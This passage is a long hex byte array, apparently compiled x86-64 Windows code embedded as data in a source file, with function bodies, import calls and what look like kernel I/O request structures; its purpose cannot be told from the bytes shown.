0xFF, 0x15, + 0x64, 0x3D, 0x00, 0x00, 0xEB, 0x0C, 0x48, 0x8D, 0x0D, 0xEB, 0x2A, 0x00, 0x00, 0xE8, 0x26, 0xFC, 0xFF, 0xFF, 0x4D, 0x39, 0x74, 0xDD, 0x08, 0x74, 0x1A, 0x48, 0x8D, 0x0D, 0x98, 0x2A, 0x00, 0x00, 0xE8, 0x13, 0xFC, 0xFF, 0xFF, 0x49, 0x8B, 0x4C, + 0xDD, 0x08, 0x49, 0x8B, 0xD4, 0xFF, 0x15, 0x55, 0x3D, 0x00, 0x00, 0x49, 0x8B, 0x44, 0xDD, 0x18, 0x4D, 0x89, 0x74, 0xDD, 0x10, 0x4D, 0x89, 0x74, 0xDD, 0x08, 0x4D, 0x89, 0x74, 0xDD, 0x00, 0x4D, 0x89, 0x74, 0xDD, 0x20, 0xF0, 0x4D, 0x0F, 0xB1, + 0x74, 0xDD, 0x18, 0x49, 0x8B, 0x54, 0xDD, 0x18, 0x48, 0x8D, 0x0D, 0x09, 0x2A, 0x00, 0x00, 0xE8, 0xD4, 0xFB, 0xFF, 0xFF, 0x4C, 0x8B, 0x6C, 0x24, 0x28, 0x48, 0x8B, 0x5C, 0x24, 0x50, 0x81, 0xFF, 0x50, 0xC3, 0x00, 0x00, 0x48, 0x8B, 0x7C, 0x24, + 0x38, 0x75, 0x12, 0x48, 0x8D, 0x0D, 0x96, 0x29, 0x00, 0x00, 0x45, 0x8B, 0xC4, 0x48, 0x8B, 0xD6, 0xE8, 0xAB, 0xFB, 0xFF, 0xFF, 0x41, 0x8B, 0xC6, 0x4C, 0x8B, 0x74, 0x24, 0x20, 0x4C, 0x8B, 0x64, 0x24, 0x30, 0x48, 0x8B, 0x74, 0x24, 0x40, 0x48, + 0x8B, 0x6C, 0x24, 0x48, 0x48, 0x83, 0xC4, 0x58, 0xC3, 0x4C, 0x8B, 0x64, 0x24, 0x30, 0x48, 0x8B, 0x74, 0x24, 0x40, 0x48, 0x8B, 0x6C, 0x24, 0x48, 0xB8, 0x01, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x58, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x48, 0x83, 0xEC, 0x38, 0x48, 0x89, 0x6C, 0x24, 0x48, 0x48, 0x89, 0x74, 0x24, 0x50, 0x4C, 0x89, 0x64, 0x24, 0x30, 0xB8, 0x1F, 0x85, 0xEB, 0x51, 0x48, 0x89, 0x5C, 0x24, 0x40, 0x44, 0x8B, 0xE1, 0xBE, 0xE8, 0x03, 0x00, 0x00, 0x48, 0x89, 0x7C, + 0x24, 0x58, 0xF7, 0xE1, 0x8B, 0xEA, 0xC1, 0xED, 0x04, 0x85, 0xED, 0x41, 0x8B, 0xDC, 0x74, 0x1B, 0x8B, 0xFD, 0x66, 0x66, 0x90, 0x66, 0x66, 0x90, 0xB9, 0x32, 0x00, 0x00, 0x00, 0xFF, 0x15, 0xF5, 0x3B, 0x00, 0x00, 0x83, 0xC3, 0xCE, 0x48, 0xFF, + 0xCF, 0x75, 0xED, 0x85, 0xDB, 0x74, 0x08, 0x8B, 0xCB, 0xFF, 0x15, 0xE1, 0x3B, 0x00, 0x00, 0x48, 0xFF, 0xCE, 0x75, 0xCD, 0x4C, 0x8B, 0x64, 0x24, 0x30, 0x48, 0x8B, 0x7C, 0x24, 0x58, 0x48, 0x8B, 0x74, 0x24, 0x50, 0x48, 0x8B, 0x6C, 0x24, 0x48, + 0x48, 0x8B, 0x5C, 0x24, 0x40, 0x48, 0x83, 0xC4, 0x38, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x28, 0x48, 0x8B, 0x05, 0xD5, 0x4C, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x0F, 0x85, + 0xA6, 0x00, 0x00, 0x00, 0x33, 0xC9, 0x48, 0x89, 0x6C, 0x24, 0x38, 0x48, 0x89, 0x74, 0x24, 0x40, 0xFF, 0x15, 0x92, 0x3B, 0x00, 0x00, 0x33, 0xC9, 0xFF, 0x15, 0x8A, 0x3B, 0x00, 0x00, 0x48, 0x89, 0x5C, 0x24, 0x30, 0xBE, 0xE8, 0x03, 0x00, 0x00, + 0x48, 0x8B, 0xE8, 0x48, 0x89, 0x7C, 0x24, 0x48, 0xBB, 0x64, 0x00, 0x00, 0x00, 0x8D, 0x7B, 0x9E, 0x66, 0x66, 0x66, 0x90, 0x66, 0x66, 0x66, 0x90, 0xB9, 0x32, 0x00, 0x00, 0x00, 0xFF, 0x15, 0x55, 0x3B, 0x00, 0x00, 0x83, 0xC3, 0xCE, 0x48, 0xFF, + 0xCF, 0x75, 0xED, 0x85, 0xDB, 0x74, 0x08, 0x8B, 0xCB, 0xFF, 0x15, 0x41, 0x3B, 0x00, 0x00, 0x48, 0xFF, 0xCE, 0x75, 0xCC, 0x33, 0xC9, 0xFF, 0x15, 0x3C, 0x3B, 0x00, 0x00, 0x48, 0x8B, 0x7C, 0x24, 0x48, 0x48, 0x8B, 0x74, 0x24, 0x40, 0x48, 0x8B, + 0x5C, 0x24, 0x30, 0x4C, 0x8B, 0xD8, 0x48, 0xB8, 0x47, 0x08, 0x8F, 0x36, 0x8E, 0x58, 0x8B, 0x4F, 0x4C, 0x2B, 0xDD, 0x48, 0x8B, 0x6C, 0x24, 0x38, 0x49, 0xF7, 0xE3, 0x4C, 0x2B, 0xDA, 0x49, 0xD1, 0xEB, 0x4C, 0x03, 0xDA, 0x49, 0xC1, 0xEB, 0x10, + 0x4C, 0x89, 0x1D, 0x29, 0x4C, 0x00, 0x00, 0x49, 0x8B, 0xC3, 0x48, 0x83, 0xC4, 0x28, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x58, 0x48, 0x89, 0x5C, 0x24, + 0x60, 0x48, 0x89, 0x6C, 0x24, 0x68, 0x4C, 0x89, 0x6C, 0x24, 0x48, 0x4C, 0x89, 0x74, 0x24, 0x40, 0x4D, 0x8B, 0xE9, 0x45, 0x33, 0xC9, 0x4C, 0x89, 0x7C, 0x24, 0x38, 0x8B, 0xEA, 0x44, 0x8B, 0xF9, 0x45, 0x8D, 0x51, 0x01, 0x4D, 0x8B, 0xF0, 0x41, + 0x8B, 0xD9, 0xBA, 0xFF, 0xFF, 0xFF, 0xFF, 0x48, 0x8D, 0x0D, 0xE2, 0x4B, 0x00, 0x00, 0x66, 0x90, 0x8B, 0xC3, 0x4C, 0x8D, 0x04, 0x80, 0x4D, 0x03, 0xC0, 0x33, 0xC0, 0xF0, 0x46, 0x0F, 0xB1, 0x14, 0xC1, 0x74, 0x12, 0xFF, 0xC3, 0x81, 0xFB, 0x50, + 0xC3, 0x00, 0x00, 0x72, 0xE3, 0x49, 0x8B, 0xC1, 0xE9, 0xBE, 0x01, 0x00, 0x00, 0x81, 0xFB, 0x50, 0xC3, 0x00, 0x00, 0x73, 0xF0, 0x48, 0x89, 0x74, 0x24, 0x70, 0x48, 0x89, 0x7C, 0x24, 0x78, 0x4C, 0x89, 0x64, 0x24, 0x50, 0x45, 0x8D, 0x24, 0x2F, + 0x41, 0x8B, 0xCC, 0x41, 0x8B, 0xFC, 0xFF, 0x15, 0xE4, 0x3A, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x48, 0x8B, 0xF0, 0x0F, 0x84, 0x4D, 0x01, 0x00, 0x00, 0x4C, 0x8B, 0xC7, 0x33, 0xD2, 0x48, 0x8B, 0xC8, 0xE8, 0x3B, 0x20, 0x00, 0x00, 0x44, 0x8B, 0xDB, + 0x48, 0x8D, 0x1D, 0x71, 0x4B, 0x00, 0x00, 0x4B, 0x8D, 0x3C, 0x9B, 0x48, 0x8B, 0xCE, 0x48, 0x03, 0xFF, 0x48, 0x89, 0x74, 0xFB, 0x08, 0x44, 0x89, 0x64, 0xFB, 0x2C, 0x89, 0x6C, 0xFB, 0x28, 0xFF, 0x15, 0x53, 0x3A, 0x00, 0x00, 0x85, 0xED, 0x4C, + 0x8B, 0xD8, 0x48, 0x89, 0x44, 0xFB, 0x20, 0x74, 0x2C, 0x33, 0xD2, 0x48, 0xF7, 0xF5, 0x85, 0xD2, 0x74, 0x23, 0x48, 0x8B, 0x74, 0xFB, 0x08, 0x2B, 0xEA, 0x48, 0x8D, 0x54, 0xFB, 0x18, 0x8B, 0xCD, 0x4A, 0x8D, 0x44, 0x1D, 0x00, 0x48, 0x03, 0xF1, + 0x48, 0x8D, 0x4C, 0xFB, 0x10, 0x48, 0x89, 0x02, 0x48, 0x89, 0x31, 0xEB, 0x15, 0x48, 0x8B, 0x44, 0xFB, 0x08, 0x48, 0x8D, 0x54, 0xFB, 0x18, 0x48, 0x8D, 0x4C, 0xFB, 0x10, 0x4C, 0x89, 0x1A, 0x48, 0x89, 0x01, 0x4D, 0x85, 0xED, 0x74, 0x07, 0x48, + 0x8B, 0x02, 0x49, 0x89, 0x45, 0x00, 0x4D, 0x85, 0xF6, 0x0F, 0x84, 0xE2, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x09, 0x33, 0xED, 0x45, 0x33, 0xC9, 0x45, 0x33, 0xC0, 0x41, 0x8B, 0xD7, 0x48, 0x89, 0x6C, 0x24, 0x20, 0xFF, 0x15, 0x10, 0x3A, 0x00, 0x00, + 0x48, 0x85, 0xC0, 0x48, 0x89, 0x44, 0xFB, 0x30, 0x0F, 0x84, 0xBB, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xC8, 0xFF, 0x15, 0xF1, 0x39, 0x00, 0x00, 0x48, 0x8B, 0x4C, 0xFB, 0x30, 0x41, 0xB8, 0x01, 0x00, 0x00, 0x00, 0x41, 0x0F, 0xB6, 0xD0, 0x45, 0x33, + 0xC9, 0xC7, 0x44, 0x24, 0x28, 0x10, 0x00, 0x00, 0x00, 0x89, 0x6C, 0x24, 0x20, 0xFF, 0x15, 0xC5, 0x39, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x4C, 0x8B, 0xD8, 0x48, 0x89, 0x44, 0xFB, 0x38, 0x75, 0x1E, 0x48, 0x8D, 0x0D, 0x09, 0x29, 0x00, 0x00, 0xE8, + 0x74, 0xF8, 0xFF, 0xFF, 0x48, 0x8B, 0x4C, 0xFB, 0x30, 0xFF, 0x15, 0x99, 0x39, 0x00, 0x00, 0x48, 0x89, 0x6C, 0xFB, 0x30, 0xEB, 0x63, 0x48, 0x8B, 0x44, 0xFB, 0x30, 0x4C, 0x89, 0x74, 0xFB, 0x48, 0x49, 0x81, 0xE3, 0x00, 0xF0, 0xFF, 0xFF, 0x8B, + 0x58, 0x2C, 0x48, 0x8D, 0x05, 0x57, 0x4A, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x90, 0x28, 0x00, 0x00, 0x49, 0x03, 0xDB, 0x48, 0x8B, 0xD3, 0x48, 0x89, 0x5C, 0xF8, 0x40, 0xE8, 0x30, 0xF8, 0xFF, 0xFF, 0x48, 0x8B, 0xC3, 0xEB, 0x2F, 0x48, 0x8D, 0x0D, + 0x34, 0x28, 0x00, 0x00, 0xE8, 0x1F, 0xF8, 0xFF, 0xFF, 0x48, 0x8D, 0x05, 0x28, 0x4A, 0x00, 0x00, 0x44, 0x8B, 0xDB, 0x4B, 0x8D, 0x0C, 0x9B, 0x48, 0xC1, 0xE1, 0x04, 0x48, 0x03, 0xC8, 0xB8, 0x01, 0x00, 0x00, 0x00, 0x33, 0xED, 0xF0, 0x0F, 0xB1, + 0x29, 0x48, 0x8B, 0xC6, 0x48, 0x8B, 0x7C, 0x24, 0x78, 0x48, 0x8B, 0x74, 0x24, 0x70, 0x4C, 0x8B, 0x64, 0x24, 0x50, 0x4C, 0x8B, 0x7C, 0x24, 0x38, 0x4C, 0x8B, 0x74, 0x24, 0x40, 0x4C, 0x8B, 0x6C, 0x24, 0x48, 0x48, 0x8B, 0x6C, 0x24, 0x68, 0x48, + 0x8B, 0x5C, 0x24, 0x60, 0x48, 0x83, 0xC4, 0x58, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x38, 0x48, 0x85, 0xC9, 0x4C, 0x8B, 0xCA, 0x48, 0x8B, 0xD1, 0x74, 0x4C, 0x4D, + 0x85, 0xC9, 0x48, 0x89, 0x7C, 0x24, 0x20, 0x75, 0x47, 0x33, 0xFF, 0x4C, 0x8D, 0x05, 0xBE, 0x49, 0x00, 0x00, 0x8B, 0xC7, 0x66, 0x66, 0x66, 0x90, 0x66, 0x66, 0x66, 0x90, 0x66, 0x66, 0x66, 0x90, 0x41, 0x0F, 0x18, 0x88, 0xC0, 0x03, 0x00, 0x00, + 0x49, 0x3B, 0x08, 0x74, 0x54, 0xFF, 0xC0, 0x49, 0x83, 0xC0, 0x50, 0x3D, 0x50, 0xC3, 0x00, 0x00, 0x72, 0xE6, 0x48, 0x8D, 0x0D, 0x4F, 0x28, 0x00, 0x00, 0xE8, 0x6A, 0xF7, 0xFF, 0xFF, 0x48, 0x8B, 0x7C, 0x24, 0x20, 0x48, 0x83, 0xC4, 0x38, 0xC3, + 0x33, 0xFF, 0x48, 0x8D, 0x0D, 0xAF, 0x49, 0x00, 0x00, 0x8B, 0xC7, 0x66, 0x90, 0x66, 0x66, 0x90, 0x0F, 0x18, 0x89, 0xC0, 0x03, 0x00, 0x00, 0x4C, 0x3B, 0x09, 0x75, 0x06, 0x48, 0x3B, 0x51, 0xF8, 0x74, 0x0F, 0xFF, 0xC0, 0x48, 0x83, 0xC1, 0x50, + 0x3D, 0x50, 0xC3, 0x00, 0x00, 0x72, 0xE1, 0xEB, 0xB9, 0x3D, 0x50, 0xC3, 0x00, 0x00, 0x73, 0xB2, 0x48, 0x89, 0x5C, 0x24, 0x30, 0x48, 0x8D, 0x1C, 0x80, 0x48, 0x89, 0x74, 0x24, 0x28, 0x48, 0x8D, 0x35, 0x23, 0x49, 0x00, 0x00, 0x48, 0x03, 0xDB, + 0x48, 0x83, 0x7C, 0xDE, 0x08, 0x00, 0x74, 0x30, 0x4D, 0x85, 0xC9, 0x74, 0x20, 0x48, 0x8B, 0x54, 0xDE, 0x30, 0x48, 0x85, 0xD2, 0x74, 0x16, 0x48, 0x8B, 0x4C, 0xDE, 0x38, 0xFF, 0x15, 0x46, 0x38, 0x00, 0x00, 0x48, 0x8B, 0x4C, 0xDE, 0x30, 0xFF, + 0x15, 0x13, 0x38, 0x00, 0x00, 0x48, 0x8B, 0x4C, 0xDE, 0x08, 0xFF, 0x15, 0x40, 0x38, 0x00, 0x00, 0x48, 0x89, 0x7C, 0xDE, 0x18, 0x48, 0x89, 0x7C, 0xDE, 0x10, 0x89, 0x7C, 0xDE, 0x28, 0x89, 0x7C, 0xDE, 0x2C, 0x48, 0x89, 0x7C, 0xDE, 0x20, 0x48, + 0x89, 0x7C, 0xDE, 0x08, 0x48, 0x89, 0x7C, 0xDE, 0x30, 0x48, 0x89, 0x7C, 0xDE, 0x38, 0x48, 0x89, 0x7C, 0xDE, 0x40, 0x48, 0x89, 0x7C, 0xDE, 0x48, 0xB8, 0x01, 0x00, 0x00, 0x00, 0xF0, 0x0F, 0xB1, 0x3C, 0xDE, 0x48, 0x8B, 0x74, 0x24, 0x28, 0x48, + 0x8B, 0x5C, 0x24, 0x30, 0x48, 0x8B, 0x7C, 0x24, 0x20, 0x48, 0x83, 0xC4, 0x38, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x38, 0x8B, 0x44, 0x24, 0x60, 0x89, 0x44, 0x24, 0x28, 0x4C, 0x89, 0x4C, 0x24, + 0x20, 0x4D, 0x8B, 0xC8, 0x45, 0x33, 0xC0, 0xE8, 0x54, 0xFC, 0xFF, 0xFF, 0x48, 0x83, 0xC4, 0x38, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x38, 0x48, 0x85, 0xC9, 0x74, + 0x45, 0x48, 0x89, 0x7C, 0x24, 0x28, 0x33, 0xFF, 0x48, 0x8D, 0x05, 0x59, 0x48, 0x00, 0x00, 0x8B, 0xD7, 0x66, 0x66, 0x90, 0x66, 0x66, 0x66, 0x90, 0x0F, 0x18, 0x88, 0xC0, 0x03, 0x00, 0x00, 0x48, 0x3B, 0x08, 0x74, 0x27, 0xFF, 0xC2, 0x48, 0x83, + 0xC0, 0x50, 0x81, 0xFA, 0x50, 0xC3, 0x00, 0x00, 0x72, 0xE6, 0x48, 0x8B, 0xD1, 0x48, 0x8D, 0x0D, 0xEC, 0x26, 0x00, 0x00, 0xE8, 0x07, 0xF6, 0xFF, 0xFF, 0x48, 0x8B, 0x7C, 0x24, 0x28, 0x48, 0x83, 0xC4, 0x38, 0xC3, 0x81, 0xFA, 0x50, 0xC3, 0x00, + 0x00, 0x73, 0xDF, 0x48, 0x89, 0x5C, 0x24, 0x58, 0x8B, 0xC2, 0x48, 0x89, 0x74, 0x24, 0x30, 0x48, 0x8D, 0x1C, 0x80, 0x48, 0x8D, 0x35, 0xEE, 0x47, 0x00, 0x00, 0x48, 0x03, 0xDB, 0x48, 0x8B, 0x4C, 0xDE, 0x08, 0x48, 0x85, 0xC9, 0x74, 0x06, 0xFF, + 0x15, 0x33, 0x37, 0x00, 0x00, 0x48, 0x89, 0x7C, 0xDE, 0x18, 0x48, 0x89, 0x7C, 0xDE, 0x10, 0x89, 0x7C, 0xDE, 0x28, 0x89, 0x7C, 0xDE, 0x2C, 0x48, 0x89, 0x7C, 0xDE, 0x20, 0x48, 0x89, 0x7C, 0xDE, 0x08, 0x48, 0x89, 0x7C, 0xDE, 0x30, 0x48, 0x89, + 0x7C, 0xDE, 0x38, 0x48, 0x89, 0x7C, 0xDE, 0x40, 0x48, 0x89, 0x7C, 0xDE, 0x48, 0xB8, 0x01, 0x00, 0x00, 0x00, 0xF0, 0x0F, 0xB1, 0x3C, 0xDE, 0x48, 0x8B, 0x74, 0x24, 0x30, 0x48, 0x8B, 0x5C, 0x24, 0x58, 0x48, 0x8B, 0x7C, 0x24, 0x28, 0x48, 0x83, + 0xC4, 0x38, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x28, 0x48, 0x85, 0xC9, 0x48, 0x89, 0x6C, 0x24, 0x38, 0x48, 0x89, 0x7C, 0x24, 0x48, 0x4C, 0x89, 0x64, 0x24, 0x20, 0x4D, 0x8B, + 0xE1, 0x49, 0x8B, 0xE8, 0x4C, 0x8B, 0xCA, 0x48, 0x8B, 0xF9, 0x0F, 0x84, 0xAE, 0x00, 0x00, 0x00, 0x4D, 0x85, 0xC0, 0x0F, 0x84, 0xA5, 0x00, 0x00, 0x00, 0x41, 0x8B, 0x00, 0x48, 0x89, 0x5C, 0x24, 0x30, 0xBB, 0x04, 0x80, 0x6A, 0xC8, 0x85, 0xC0, + 0x0F, 0x84, 0x8C, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xD0, 0x45, 0x33, 0xC0, 0x49, 0x8B, 0xC9, 0x48, 0x89, 0x74, 0x24, 0x40, 0xFF, 0x15, 0x16, 0x37, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0xDF, 0x26, 0x00, 0x00, 0x48, 0x8B, 0xD0, 0x48, 0x8B, 0xF0, 0xE8, + 0x04, 0xF5, 0xFF, 0xFF, 0x48, 0x85, 0xF6, 0x74, 0x41, 0x4D, 0x85, 0xE4, 0x75, 0x14, 0x48, 0x8D, 0x0D, 0x83, 0x26, 0x00, 0x00, 0x48, 0x8B, 0xD6, 0x48, 0x89, 0x37, 0xE8, 0xE8, 0xF4, 0xFF, 0xFF, 0xEB, 0x20, 0x8B, 0x55, 0x00, 0x4D, 0x8B, 0xC4, + 0x48, 0x8B, 0xCE, 0xE8, 0xD8, 0xF5, 0xFF, 0xFF, 0x48, 0x8D, 0x0D, 0x21, 0x26, 0x00, 0x00, 0x48, 0x8B, 0xD0, 0x48, 0x89, 0x07, 0xE8, 0xC6, 0xF4, 0xFF, 0xFF, 0x33, 0xC0, 0x48, 0x39, 0x07, 0x0F, 0x45, 0xD8, 0x48, 0x8B, 0x74, 0x24, 0x40, 0x8B, + 0xC3, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x4C, 0x8B, 0x64, 0x24, 0x20, 0x48, 0x8B, 0x7C, 0x24, 0x48, 0x48, 0x8B, 0x6C, 0x24, 0x38, 0x48, 0x83, 0xC4, 0x28, 0xC3, 0x8B, 0xC3, 0xEB, 0xE3, 0x4C, 0x8B, 0x64, 0x24, 0x20, 0x48, 0x8B, 0x7C, 0x24, 0x48, + 0x48, 0x8B, 0x6C, 0x24, 0x38, 0xB8, 0x01, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x28, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x28, 0x48, 0x85, 0xC9, 0x48, + 0x89, 0x7C, 0x24, 0x48, 0x4C, 0x8B, 0xCA, 0x48, 0x8B, 0xF9, 0x0F, 0x84, 0x82, 0x00, 0x00, 0x00, 0x4D, 0x85, 0xC0, 0x74, 0x7D, 0x41, 0x8B, 0x00, 0x48, 0x89, 0x5C, 0x24, 0x38, 0xBB, 0x04, 0x80, 0x6A, 0xC8, 0x85, 0xC0, 0x74, 0x5B, 0x48, 0x8B, + 0xD0, 0x45, 0x33, 0xC0, 0x49, 0x8B, 0xC9, 0x48, 0x89, 0x74, 0x24, 0x40, 0xFF, 0x15, 0x2E, 0x36, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0xF7, 0x25, 0x00, 0x00, 0x48, 0x8B, 0xD0, 0x48, 0x8B, 0xF0, 0xE8, 0x1C, 0xF4, 0xFF, 0xFF, 0x48, 0x85, 0xF6, 0x74, + 0x1A, 0x48, 0x8D, 0x0D, 0xA0, 0x25, 0x00, 0x00, 0x48, 0x8B, 0xD6, 0x48, 0x89, 0x37, 0xE8, 0x05, 0xF4, 0xFF, 0xFF, 0x33, 0xC0, 0x48, 0x39, 0x07, 0x0F, 0x45, 0xD8, 0x48, 0x8B, 0x74, 0x24, 0x40, 0x8B, 0xC3, 0x48, 0x8B, 0x5C, 0x24, 0x38, 0x48, + 0x8B, 0x7C, 0x24, 0x48, 0x48, 0x83, 0xC4, 0x28, 0xC3, 0x8B, 0xC3, 0x48, 0x8B, 0x5C, 0x24, 0x38, 0x48, 0x8B, 0x7C, 0x24, 0x48, 0x48, 0x83, 0xC4, 0x28, 0xC3, 0xB8, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x7C, 0x24, 0x48, 0x48, 0x83, 0xC4, 0x28, + 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x8B, 0xC4, 0x48, 0x83, 0xEC, 0x78, 0x48, 0x89, 0x58, 0x18, 0x48, 0x8B, 0xDA, 0x33, 0xD2, 0x48, 0x89, 0x78, 0x20, 0x48, 0x8B, 0xF9, 0x44, 0x8D, 0x42, 0x40, 0x48, 0x8B, 0xCB, 0xE8, 0x6D, + 0x1A, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x50, 0x45, 0x33, 0xC0, 0x33, 0xD2, 0x66, 0xC7, 0x03, 0x40, 0x00, 0x66, 0xC7, 0x43, 0x02, 0x01, 0x00, 0xC7, 0x43, 0x08, 0xFF, 0xFF, 0xFF, 0xFF, 0xC7, 0x43, 0x0C, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x15, + 0x0C, 0x35, 0x00, 0x00, 0x45, 0x33, 0xC9, 0x4C, 0x8D, 0x5C, 0x24, 0x40, 0x48, 0x8D, 0x44, 0x24, 0x50, 0x4C, 0x89, 0x5C, 0x24, 0x30, 0x48, 0x89, 0x44, 0x24, 0x28, 0x41, 0x8D, 0x49, 0x1B, 0x45, 0x33, 0xC0, 0x48, 0x8B, 0xD7, 0x48, 0xC7, 0x44, + 0x24, 0x20, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x15, 0xD4, 0x34, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x4F, 0x48, 0x8B, 0x88, 0xB8, 0x00, 0x00, 0x00, 0xC7, 0x40, 0x30, 0xBB, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0xD0, 0xC6, 0x41, 0xB8, 0x1B, 0xC6, 0x41, + 0xB9, 0x09, 0x48, 0x89, 0x59, 0xC0, 0x48, 0x8B, 0xCF, 0xFF, 0x15, 0xA1, 0x34, 0x00, 0x00, 0x3D, 0x03, 0x01, 0x00, 0x00, 0x75, 0x1C, 0x48, 0x8D, 0x4C, 0x24, 0x50, 0x45, 0x33, 0xC9, 0x45, 0x33, 0xC0, 0x33, 0xD2, 0x48, 0xC7, 0x44, 0x24, 0x20, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0x15, 0x76, 0x34, 0x00, 0x00, 0x8B, 0x44, 0x24, 0x40, 0xEB, 0x05, 0xB8, 0x9A, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0xBC, 0x24, 0x98, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x9C, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC4, + 0x78, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x8B, 0xC4, 0x48, 0x81, 0xEC, 0x98, 0x00, 0x00, 0x00, 0x48, 0x89, 0x58, 0xF8, 0x48, 0x89, 0x68, 0xF0, 0x48, 0x89, 0x70, 0xE8, 0x48, 0x8B, 0xD9, 0x41, 0x0F, 0xB6, 0xF0, 0x48, 0x8B, 0xEA, + 0x48, 0x89, 0x78, 0xE0, 0x48, 0x8D, 0x48, 0xC0, 0x45, 0x33, 0xC0, 0x33, 0xD2, 0x41, 0x8B, 0xF9, 0xFF, 0x15, 0x32, 0x34, 0x00, 0x00, 0x45, 0x33, 0xC9, 0x4C, 0x8D, 0x5C, 0x24, 0x48, 0x4C, 0x89, 0x5C, 0x24, 0x30, 0x48, 0x8D, 0x44, 0x24, 0x58, + 0x41, 0x8D, 0x49, 0x1B, 0x48, 0x89, 0x44, 0x24, 0x28, 0x45, 0x33, 0xC0, 0x48, 0x8B, 0xD3, 0x48, 0xC7, 0x44, 0x24, 0x20, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x15, 0xFA, 0x33, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x68, 0x48, 0x8B, 0x90, 0xB8, 0x00, + 0x00, 0x00, 0x48, 0x83, 0xEA, 0x48, 0x74, 0x5B, 0x8B, 0x8C, 0x24, 0xC0, 0x00, 0x00, 0x00, 0xC7, 0x40, 0x30, 0xBB, 0x00, 0x00, 0xC0, 0xC6, 0x02, 0x1B, 0x89, 0x4A, 0x20, 0x40, 0x88, 0x72, 0x01, 0x48, 0x89, 0x6A, 0x10, 0xC7, 0x42, 0x08, 0x00, + 0x00, 0x00, 0x00, 0x89, 0x7A, 0x18, 0x48, 0x8B, 0xCB, 0x48, 0x8B, 0xD0, 0xFF, 0x15, 0xAE, 0x33, 0x00, 0x00, 0x3D, 0x03, 0x01, 0x00, 0x00, 0x75, 0x26, 0x48, 0x8D, 0x4C, 0x24, 0x58, 0x45, 0x33, 0xC9, 0x45, 0x33, 0xC0, 0x33, 0xD2, 0x48, 0xC7, + 0x44, 0x24, 0x20, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x15, 0x83, 0x33, 0x00, 0x00, 0x8B, 0x44, 0x24, 0x48, 0xEB, 0x04, 0x8B, 0x44, 0x24, 0x40, 0x48, 0x8B, 0x7C, 0x24, 0x78, 0x48, 0x8B, 0xB4, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xAC, 0x24, + 0x88, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x9C, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x81, 0xC4, 0x98, 0x00, 0x00, 0x00, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x4C, 0x8B, 0xDC, 0x48, 0x81, 0xEC, 0x18, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x05, 0x87, 0x43, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0xE0, 0x01, 0x00, 0x00, 0x49, 0x89, 0x5B, 0x10, 0x49, 0x89, 0x6B, 0x18, 0x49, 0x89, 0x7B, 0xF8, 0x48, 0x8B, 0x79, + 0x38, 0x4D, 0x89, 0x63, 0xF0, 0x48, 0x8B, 0xD9, 0x4D, 0x89, 0x73, 0xE0, 0x45, 0x33, 0xF6, 0x49, 0x8D, 0x8B, 0x88, 0xFE, 0xFF, 0xFF, 0x45, 